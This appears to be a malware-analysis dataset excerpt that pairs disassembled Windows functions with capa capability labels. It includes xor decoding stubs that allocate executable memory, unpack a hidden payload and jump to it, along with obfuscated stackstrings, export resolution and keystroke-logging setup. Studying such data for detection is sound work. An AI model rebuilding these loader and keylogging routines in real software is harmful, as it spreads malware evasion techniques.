joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x40ac1a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40ac29
pop dword [ebp - 0x1c]
mov eax, 0x40ac29
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x17e4c85f
add dword [ebp - 0x2c], 0x366d7cec
mov dword [ebp - 0x28], 0xba8d4e6b
add dword [ebp - 0x28], 0x77a5fdda
mov dword [ebp - 0x24], 0x7d5605fa
sub dword [ebp - 0x24], 0x3109c1cc
mov dword [ebp - 0x20], 0x90bc17bd
sub dword [ebp - 0x20], 0x90bc17bd
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x253f4baa
add eax, 0xdb0184a2
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xf359c88d
sub dword [ebp - 0x2c], 0x7ee75f37
mov dword [ebp - 0x28], 0x7d89b38a
add dword [ebp - 0x28], 0xc3e2adeb
mov dword [ebp - 0x24], 0x1b5e03eb
sub dword [ebp - 0x24], 0xb7ee977f
mov dword [ebp - 0x20], 0x9a08445
sub dword [ebp - 0x20], 0x9a08445
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xf63bb65e
sub eax, 0xf5fae616
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x386e0
push 0
call eax
mov ecx, 0xf656777f
sub ecx, 0xf65634fc
xor esi, esi
add esi, eax
mov edi, 0xe37aaae
add edi, 0xf20a0552
add edi, dword [ebp - 0x1c]
mov edx, 0x6291da3e
add edx, 0x88e319ac
mov ebx, dword [edi]
add dword [ebp - 4], edx
xor ebx, edx
xor dword [ebp - 0x14], esi
mov dword [esi], ebx
xor dword [ebp - 8], 0x6eef57f7
add esi, 0xba33cd85
add esi, 0x45cc327f
add edi, 0xcf09334d
add edi, 0x30f6ccb7
loop 0x40ad48
add eax, 0xfcdf
xor ebx, ebx
add ebx, eax
add eax, 0x8cc915ca
sub eax, 0x8cc915c5
mov ecx, 0xff1df6bd
add ecx, 0x1220943
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x4098b6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, byte [ebp + 0xc]
lea ecx, [ebp - 0x6c]
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push ecx
push 0x20019
push ebx
movzx eax, al
push 0x406e10
sub eax, 0x7fffffff
mov dword [ebp - 0x6c], ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x409918
push 0x406dcc
mov ecx, esi
call fcn.00409db3
cmp dword [ebp - 0x6c], ebx
je 0x4099c0
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4099c0
push edi
push 0x64
lea eax, [ebp - 0x68]
mov dword [ebp - 0x70], ebx
push ebx
push eax
call fcn.0040cf80
add esp, 0xc
lea eax, [ebp - 0x74]
push eax
push ebx
lea eax, [ebp - 0x70]
push eax
push ebx
push 0x406db8
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4099a5
mov edi, dword [ebp - 0x74]
test edi, edi
je 0x4099a5
cmp dword [ebp - 0x70], 1
jne 0x4099a5
shr edi, 1
cmp edi, 0x32
jae 0x4099a5
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push 0x406db8
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [edi + edi]
mov edx, eax
cmp word [ebp + ecx - 0x6a], bx
je 0x409996
lea eax, [edi + 1]
cmp eax, 0x32
jae 0x409996
cmp ecx, 0x64
jae 0x4099d2
xor eax, eax
mov word [ebp + ecx - 0x68], ax
lea eax, [ebp - 0x68]
test edx, edx
je 0x4099a2
mov eax, 0x406dcc
push eax
jmp 0x4099aa
push 0x406dcc
mov ecx, esi
call fcn.00409db3
cmp dword [ebp - 0x6c], ebx
je 0x4099bf
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b2a3
leave
ret 8
call fcn.0040b3d3
int3

Function at 0x40d920
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
inc esp
or byte [eax], bl

Function at 0x40dd14
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc esp
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
inc edx

Function at 0x40dd41
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.0040d8f0
push eax
push esi
push dword [ebp + 8]
call fcn.0040d8a5
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0040d8e0
cwde
jecxz 0x40dd84
daa
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
inc ebp
and byte [edx - 0x3a], 0x45
sbb dword [ebx - 0x3a], 0x45
test byte [ecx - 0x3a], bh
inc ebp
test dword [edx - 0x3a], esi
inc ebp
xchg byte [ebx - 0x3a], ah
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
invalid
inc ebp
invalid
Function at 0x40dd97
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.0040d8f0
push eax
push esi
push dword [ebp + 8]
call fcn.0040d8a5
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0040d8e0
cwde
jecxz 0x40dd84
daa
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
inc ebp
and byte [edx - 0x3a], 0x45
sbb dword [ebx - 0x3a], 0x45
test byte [ecx - 0x3a], bh
inc ebp
test dword [edx - 0x3a], esi
inc ebp
xchg byte [ebx - 0x3a], ah
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
invalid
inc ebp
invalid

Function at 0x40e154
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push esi
mov byte [ebp - 0x346], 0x6d
invalid
invalid
invalid

Function at 0x416590
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4165bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4165bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x402c00
pop dword [ebp - 0xc]
mov eax, 0x3e05bbd0
add eax, 0xc23a7030
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x4d4a61c4
add dword [ebp - 0x1c], 0x107e387
mov dword [ebp - 0x18], 0xff17859c
sub dword [ebp - 0x18], 0xcce43957
mov dword [ebp - 0x14], 0x69a4e6d5
sub dword [ebp - 0x14], 0x1d58a2a7
mov dword [ebp - 0x10], 0x33783c4
sub dword [ebp - 0x10], 0x33783c4
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x2e7f4ffa
add dword [ebp - 0x1c], 0x45f3195c
mov dword [ebp - 0x18], 0xf1b65ed9
add dword [ebp - 0x18], 0x4fb6029c
mov dword [ebp - 0x14], 0xbb1a4fc6
sub dword [ebp - 0x14], 0x57aae35a
mov dword [ebp - 0x10], 0xafcdad82
add dword [ebp - 0x10], 0x5032527e
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x5b7950ba
add eax, 0xa4c71fee
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3599e
push 0
call eax
mov ecx, 0x43a6
xor esi, esi
add esi, eax
mov edi, 0x4ea7675e
add edi, 0xb19998a2
add edi, dword [ebp - 0xc]
mov edx, 0x1a415568
add edx, 0x4c427f11
add dword [ebp - 4], ebx
mov ebx, dword [edi]
add dword [ebp - 4], 0x861c037c
add ebx, edx
mov dword [ebp - 8], 0xc1ab4ec0
mov dword [esi], ebx
xor dword [ebp - 8], ebx
add esi, 4
add edi, 0x6b399f2d
add edi, 0x94c660d7
loop 0x402d19
add eax, 0x670fd847
sub eax, 0x670ed6dc
xor ebx, ebx
add ebx, eax
add eax, 0x38f2e990
sub eax, 0x38f2e98b
mov ecx, 0x55097f76
add ecx, 0xab36808a
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x40c6a4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40c6b3
pop dword [ebp - 0x48]
mov eax, 0x1e0a3425
add eax, 0xe236928e
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3d086
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x44ef
xor ebx, ebx
add ebx, eax
mov edi, 0x435400
add edi, dword [ebp - 0x48]
mov edx, 0x27a51611
sub edx, 0x4d17d644
xor dword [ebp - 8], ebx
mov esi, dword [edi]
mov dword [ebp - 8], 0x9835ac61
add esi, edx
xor dword [ebp - 0x24], esi
mov dword [ebx], esi
xor dword [ebp - 0x18], 0xfc015dc
add ebx, 0xd8f5c19e
sub ebx, 0xd8f5c19a
add edi, 0xcfb6e833
add edi, 0x304917d1
loop 0x40c703
add eax, 0x15573b73
add eax, 0xeaa9cb1c
mov ebx, eax
add eax, 5
mov ecx, 0x78680b29
sub ecx, 0x78280b29
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40288e
pop dword [ebp - 0x44]
mov eax, 0x68c631a3
sub eax, 0x68860915
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xdd1c1c6c
sub dword [ebp - 0x54], 0x8ec9d721
mov dword [ebp - 0x50], 0xeeb82e7a
add dword [ebp - 0x50], 0x437b1dcb
mov dword [ebp - 0x4c], 0x8f8a52e1
sub dword [ebp - 0x4c], 0x433e0eb3
mov dword [ebp - 0x48], 0x8ce6262a
sub dword [ebp - 0x48], 0x8ce6262a
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xcd25360d
sub dword [ebp - 0x54], 0x58b2ccb7
mov dword [ebp - 0x50], 0x682334cd
add dword [ebp - 0x50], 0xd9492ca8
mov dword [ebp - 0x4c], 0x74a44319
add dword [ebp - 0x4c], 0xeecb2953
mov dword [ebp - 0x48], 0x2824bd44
add dword [ebp - 0x48], 0xd7db42bc
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x64e9134d
sub eax, 0x64a8a2a5
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3b086
push 0
call eax
mov ecx, 0x59bf
mov edx, eax
mov esi, 0x410000
add esi, dword [ebp - 0x44]
mov ebx, 0x46f2baae
mov dword [ebp - 0x1c], 0xe449dacc
mov edi, dword [esi]
add dword [ebp - 0xc], ecx
sub edi, ebx
xor dword [ebp - 0x2c], eax
mov dword [edx], edi
add dword [ebp - 0x3c], 0x9ac85035
add edx, 0x4556f5f0
add edx, 0xbaa90a14
add esi, 4
loop 0x402999
add eax, 0xee9c0c0e
sub eax, 0xee9ab23f
mov ebx, eax
add eax, 0x11f0960b
sub eax, 0x11f09606
mov ecx, 0xfc663a1d
add ecx, 0x3d9c5e3
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420004]
jne 0x40100a
repz ret
jmp fcn.00401647

Function at 0x4071e9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404019
and dword [ebp - 0x14], 0
cmp dword [0x422d84], 0
mov dword [ebp - 0x18], eax
jne 0x40729c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x407344
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x407344
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x422d84], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x422d88], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x422d8c], eax
call edi
push eax
call esi
mov dword [0x422d94], eax
test eax, eax
je 0x40729c
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x422d90], eax
mov eax, dword [0x422d90]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4072f5
cmp dword [0x422d94], ecx
je 0x4072f5
push eax
call esi
push dword [0x422d94]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4072f5
test ebx, ebx
je 0x4072f5
call edi
test eax, eax
je 0x4072ec
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4072ec
test byte [ebp - 8], 1
jne 0x4072f5
or dword [ebp + 0x10], 0x200000
jmp 0x407328
mov eax, dword [0x422d88]
cmp eax, dword [ebp - 0x18]
je 0x407328
push eax
call esi
test eax, eax
je 0x407328
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407328
mov eax, dword [0x422d8c]
cmp eax, dword [ebp - 0x18]
je 0x407328
push eax
call esi
test eax, eax
je 0x407328
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x422d84]
call esi
test eax, eax
je 0x407344
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x407346
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x41b720
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x808
mov eax, dword [0x420004]
xor eax, esp
mov dword [esp + 0x804], eax
cmp dword [0x22c5e8c], 0xfc7
jne 0x41b74f
push 0
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x4232a4]
imul eax, eax, 0x343fd
cmp dword [0x22c5e8c], 0x139e
mov dword [0x4232a4], eax
jne 0x41b77e
mov ecx, dword [esp]
push 0
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_GetAce]
mov eax, dword [0x4232a4]
add eax, 0x269ec3
push esi
mov dword [0x4232a4], eax
movzx esi, word [0x4232a6]
and esi, 0x7fff
cmp dword [0x22c5e8c], 0x8e7
jne 0x41b7b3
push 0
lea edx, [esp + 0xc]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ecx, dword [esp + 0x808]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00401000
add esp, 0x808
ret

Function at 0x41b880
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x420004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x4211f0]
push ebx
mov ebx, dword [0x22c5830]
push edi
mov edi, dword [0x22c5e8c]
call fcn.0041b7d0
cmp dword [0x22c5e8c], 0x2f
jne 0x41b8e5
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.0041b800
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.00401000
add esp, 0x24
ret
Function at 0x41bb90
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call fcn.00409170
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x41bbb9
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xbbe2aa2
jge 0x41bc5f
cmp dword [0x22c5e8c], 0xa5f
jne 0x41bc03
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x1018]
push edx
push 0x41ec6c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
cmp dword [ebp - 4], 0x84526b
jne 0x41bc28
mov eax, dword [0x422010]
mov dword [0x22c5e8c], eax
mov ecx, dword [0x22c5e8c]
add ecx, 0xa231
mov dword [0x22c5e8c], ecx
cmp dword [0x22c5e8c], 0x141
jne 0x41bc5a
push str.durudaxo_payuyafelamelokeyir_tacadasevow_kipazoci_kanorowawacasolicalotija
lea edx, [ebp - 0x1818]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x4232a8], 0xec58acac
mov dword [0x4232ac], 0xffffffff
jmp 0x41bbb0
call fcn.0041b900
jmp dword [0x22c5830]
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x10027355
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10027364
pop dword [ebp - 0x34]
mov eax, 0x505472b1
sub eax, 0x4051ff4d
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x943d0d4c
add dword [ebp - 0x44], 0xba1537ff
mov dword [ebp - 0x40], 0x33f5e67a
add dword [ebp - 0x40], 0xfe3d65cb
mov dword [ebp - 0x3c], 0x20aea8bd
add dword [ebp - 0x3c], 0x2b9d9b71
mov dword [ebp - 0x38], 0x5ff307f1
add dword [ebp - 0x38], 0xa00cf80f
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x30d5174a
sub dword [ebp - 0x44], 0xbc62adf4
mov dword [ebp - 0x40], 0x424f7777
sub dword [ebp - 0x40], 0xe31602
mov dword [ebp - 0x3c], 0xb335d4e9
add dword [ebp - 0x3c], 0xb0399783
mov dword [ebp - 0x38], 0x82fe8467
add dword [ebp - 0x38], 0x7d017b99
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x4d119
push 0
call eax
mov ecx, 0x52f3
xor esi, esi
add esi, eax
mov edx, 0xac448c99
sub edx, 0x9c3d3c99
add edx, dword [ebp - 0x34]
mov ebx, 0x70224669
add ebx, 0xecef47d2
xor dword [ebp - 0x18], 0x554799b9
mov edi, dword [edx]
xor edi, ebx
mov dword [esi], edi
xor dword [ebp - 0x1c], esi
add esi, 4
add edx, 0x49a659c4
sub edx, 0x49a659c0
loop 0x10027478
add eax, 0xea221e36
sub eax, 0xea20df97
mov ebx, eax
add eax, 0x7b167de9
add eax, 0x84e9821c
mov ecx, 0x7568185f
add ecx, 0x9a97e7a1
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x408922
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, word [ecx]
push ebx
movzx eax, byte [eax + 0x49e560]
push esi
push edi
mov edi, edx
xor edx, edx
lea ecx, [ecx + eax*2]
inc edx
mov dword [ebp - 4], edi
call fcn.00408b14
mov esi, eax
cmp esi, edi
jae case.0x408a2d.119
push 0x77
pop ebx
movzx edi, word [esi]
push 0x10
xor edx, edx
pop ecx
cmp edi, 0x7d
je 0x4825ee
cmp edi, 0x75
je 0x482606
mov eax, 0x92
cmp di, ax
je 0x4827f2
inc eax
cmp di, ax
je 0x4827f2
mov eax, 0xa1
push 0xd10c858d

Function at 0x40fe30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x4c221c]
push ebx
push esi
push edi
mov dword [esp + 0x14], ecx
test al, 1
je 0x4113cf
invalid
mov edi, dword [ebp + 0x10]
xor eax, eax
push 8
mov word [esp + 0x60], 1
or eax, 1
push 0x471aaf
mov dword [0x4c221c], eax
mov dword [0x4c2220], 0
mov dword [0x4c2228], 0
mov dword [0x4c222c], 1
call fcn.00420f0a
add esp, 4
jmp 0x40fe50

Function at 0x40fe4f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x4c221c]
push ebx
push esi
push edi
mov dword [esp + 0x14], ecx
test al, 1
je 0x4113cf
invalid
mov edi, dword [ebp + 0x10]
xor eax, eax
push 8
mov word [esp + 0x60], 1
or eax, 1
push 0x471aaf
mov dword [0x4c221c], eax
mov dword [0x4c2220], 0
mov dword [0x4c2228], 0
mov dword [0x4c222c], 1
call fcn.00420f0a
add esp, 4
jmp 0x40fe50
Function at 0x413200
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb4
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edx, dword [esi]
mov edi, ecx
sub esp, 0x10
mov eax, dword [edi + 0xf4]
add byte [eax], al
add byte [ecx - 0x74afdbbc], cl
inc ebx
add al, 0x89
jl 0x413250
pop esp
mov eax, dword [eax + edx*4]